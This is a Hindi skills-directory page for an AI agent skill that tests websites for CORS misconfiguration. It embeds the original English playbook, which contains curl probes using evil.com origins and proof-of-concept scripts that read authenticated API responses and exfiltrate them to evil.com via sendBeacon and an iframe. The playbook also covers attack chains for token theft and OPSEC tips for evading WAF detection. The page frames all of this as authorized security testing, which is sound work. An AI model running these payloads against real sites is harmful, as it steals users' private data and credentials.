cors
यह क्या करती है
यह स्किल एजेंट को साइट के cross-origin साझाकरण नियमों, जिन्हें CORS कहते हैं, की जाँच में मार्गदर्शन देती है। यह उन सुरक्षा परीक्षकों के लिए है जो जाँचते हैं कि दूसरी वेबसाइटें यूज़र का डेटा पढ़ सकती हैं या नहीं।
कब इस्तेमाल करें
- ✓जब आप जानना चाहते हैं कि कोई साइट दूसरे डोमेन को लॉगिन किए यूज़र का डेटा पढ़ने देती है या नहीं।
- ✓जब सुरक्षा समीक्षा में Access-Control-Allow-Origin हेडर की जाँच चाहिए।
- ✓जब कोई API निजी डेटा लौटाती है और पक्का करना है कि उसे कौन पढ़ सकता है।
Skill का लिंक
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/cors/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“क्या आप जाँच सकते हैं कि मेरा API दूसरी वेबसाइटों को खाते का वह डेटा पढ़ने देता है जो निजी रहना चाहिए?”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
एजेंट अलग-अलग नकली origin हेडर के साथ अनुरोध भेजता है और जाँचता है कि सर्वर किन origins को अनुमति देता है, ख़ासकर जब credentials भी अनुमत हों।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
CORS Misconfiguration Playbook
A permissive Access-Control-Allow-Origin (ACAO) becomes critical the moment it
is paired with Access-Control-Allow-Credentials: true (ACAC) — any origin the
server reflects can read authenticated responses (PII, API keys, CSRF tokens).
ACAO alone (no credentials) is usually Low unless the endpoint serves secrets to
unauthenticated requests.
1. Detection — probe origin reflection
# Reflected-origin + credentials = the critical case
for o in "https://evil.com" "null" "https://<TARGET>.evil.com" "https://evil.com.<TARGET>"; do
echo "== Origin: $o =="
curl -s -D- -o /dev/null "https://<TARGET>/api/account" -H "Origin: $o" \
| grep -i "access-control-allow-origin\|access-control-allow-credentials"
done
# Preflight behaviour (which methods/headers are allowed cross-origin)
curl -s -D- -o /dev/null -X OPTIONS "https://<TARGET>/api/account" \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: authorization" \
| grep -i "access-control-"
A response echoing Access-Control-Allow-Origin: https://evil.com and
Access-Control-Allow-Credentials: true confirms exploitable reflection.
2. Misconfiguration matrix
| Class | Server behaviour | Exploit origin |
|---|---|---|
| Origin reflection | ACAO echoes any Origin + ACAC true |
https://evil.com |
null allowed |
ACAO: null + ACAC true | sandboxed iframe / data:/file: (sends Origin: null) |
| Wildcard + creds (browser-blocked, but check tooling) | ACAO: * with secrets |
only if creds not required |
| Suffix match flaw | allows *target.com |
https://evil-target.com |
| Prefix match flaw | allows target.com* |
https://target.com.evil.com |
| Unescaped dot in regex | ^https://app.target.com$ |
https://appxtarget.com |
| Trusted subdomain + XSS | allows *.target.com |
XSS on any subdomain → same-site fetch |
| Pre-domain confusion | naive contains("target.com") |
https://target.com.evil.com, https://eviltarget.com |
3. Exploit PoC — credentialed cross-origin read
<!-- host on attacker origin; victim must be authenticated to <TARGET> -->
<script>
const url = "https://<TARGET>/api/account";
fetch(url, { credentials: "include" })
.then(r => r.text())
.then(data => navigator.sendBeacon("https://evil.com/collect", data));
</script>
For null-origin servers, deliver the same script inside a sandboxed iframe so
the browser sends Origin: null:
<iframe sandbox="allow-scripts allow-same-origin" srcdoc="
<script>fetch('https://<TARGET>/api/account',{credentials:'include'})
.then(r=>r.text()).then(d=>fetch('https://evil.com/c?d='+encodeURIComponent(d)));</script>">
</iframe>
4. Chains
- CORS → token theft → CSRF: steal the anti-CSRF token from a reflected JSON response, then forge state-changing requests that previously looked protected.
- Subdomain XSS → CORS: server trusts
*.target.com; an XSS (even DOM-only) on a forgotten subdomain runs in an allowed origin and reads the main API. - CORS → API key / PII exfil: any endpoint returning bearer tokens, account data, or internal config becomes a one-click mass-exfil primitive.
5. Tools
- Corsy — fast misconfiguration scanner (
python corsy.py -u https://<TARGET>) - CORScanner — origin-reflection + regex-flaw detection
- Burp Suite — CORS checks (active scan) + manual
Originfuzzing in Repeater
6. Detection signatures & OPSEC
| Indicator | Detection method | OPSEC note |
|---|---|---|
Repeated Origin: variants from one IP |
WAF / access-log anomaly | Throttle probes; reuse a single canary origin |
OPTIONS flood (preflight fuzzing) |
Rate-based WAF rule | Test one endpoint at a time |
| Beacon to external collector | Egress/DNS monitoring | Use an in-scope collector during authorized tests |
Decision Gate: CORS confirmed → exploitation
- ACAO reflects an attacker-controlled origin (or
null) - ACAC is
true(or the endpoint serves secrets without auth) - A sensitive response body is readable cross-origin
- PoC exfiltrates real data from an authenticated victim context
If all checked, escalate per
finding-protocol; otherwise downgrade to informational (ACAO without credentials/secrets).
अक्सर पूछे जाने वाले सवाल
क्या हर CORS समस्या गंभीर है?
हमेशा नहीं। स्किल कहती है कि यह सबसे गंभीर तब है जब साइट credentials भी अनुमत करे, क्योंकि तब दूसरी साइटें लॉगिन वाले जवाब पढ़ सकती हैं।
एजेंट जवाब में क्या देखता है?
सर्वर द्वारा लौटाए गए Access-Control-Allow-Origin और Access-Control-Allow-Credentials हेडर।
क्या यह स्किल किसी भी साइट पर चल सकती है?
केवल उन साइटों पर जिन्हें टेस्ट करने की आपको अनुमति है।
जानकारी
लेखक का मूल विवरण
CORS misconfiguration exploitation — reflected origin, null origin, trusted-subdomain abuse, regex-validation bypass, and credentialed cross-origin data theft.
लोकप्रियता
- GitHub स्टार
- 6.5k
- रैंकिंग में स्थान
- #14055
- लाइसेंस
- Apache-2.0
- अपडेट की गई
- 1/11/2026
कमेंट
- …
इस repository की और skills
detector-overview
6.5kयह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।
exploiter-overview
6.5kयह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।
llm-redteam-overview
6.5kयह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।
aatmf-t01-prompt-injection
6.5kसमझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।